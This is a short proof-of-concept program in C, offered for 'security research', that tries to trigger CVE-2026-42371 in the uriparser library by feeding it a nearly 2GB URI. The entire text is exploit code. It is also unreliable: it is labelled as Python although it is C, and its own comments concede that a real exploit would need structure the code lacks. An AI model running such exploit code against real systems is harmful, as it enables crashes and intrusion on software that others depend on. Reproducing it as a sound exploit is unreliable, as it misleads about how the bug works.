The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <uriparser/Uri.h>
// PoC for CVE-2026-42371: Numeric truncation in text range comparison
// This code attempts to trigger the bug by allocating a huge URI.
int main() {
// Define a size close to 2GB to potentially trigger truncation on 32-bit comparisons
size_t huge_len = 2147483647;
// Allocate memory for the malicious URI
char *large_uri = (char *)malloc(huge_len + 10);
if (!large_uri) {
printf("Memory allocation failed.\n");
return 1;
}
// Fill the buffer to simulate a long URI
memset(large_uri, 'a', huge_len);
// Ensure there is a valid scheme structure at the beginning or end depending on parser logic
// Here we just append a null terminator for safety, though real exploit needs specific structure
large_uri[huge_len] = '\0';
printf("Attempting to parse a URI of length: %zu\n", huge_len);
UriUriA uri;
const char *errorPos;
// The parsing function may encounter the numeric truncation here
int result = uriParseSingleUriA(&uri, large_uri, &errorPos);
if (result != URI_SUCCESS) {
printf("Parsing failed or triggered the bug at position: %ld\n", errorPos - large_uri);
} else {
printf("Parsing succeeded (vulnerability not triggered or patched).\n");
uriFreeUriMembersA(&uri);
}
free(large_uri);
return 0;
}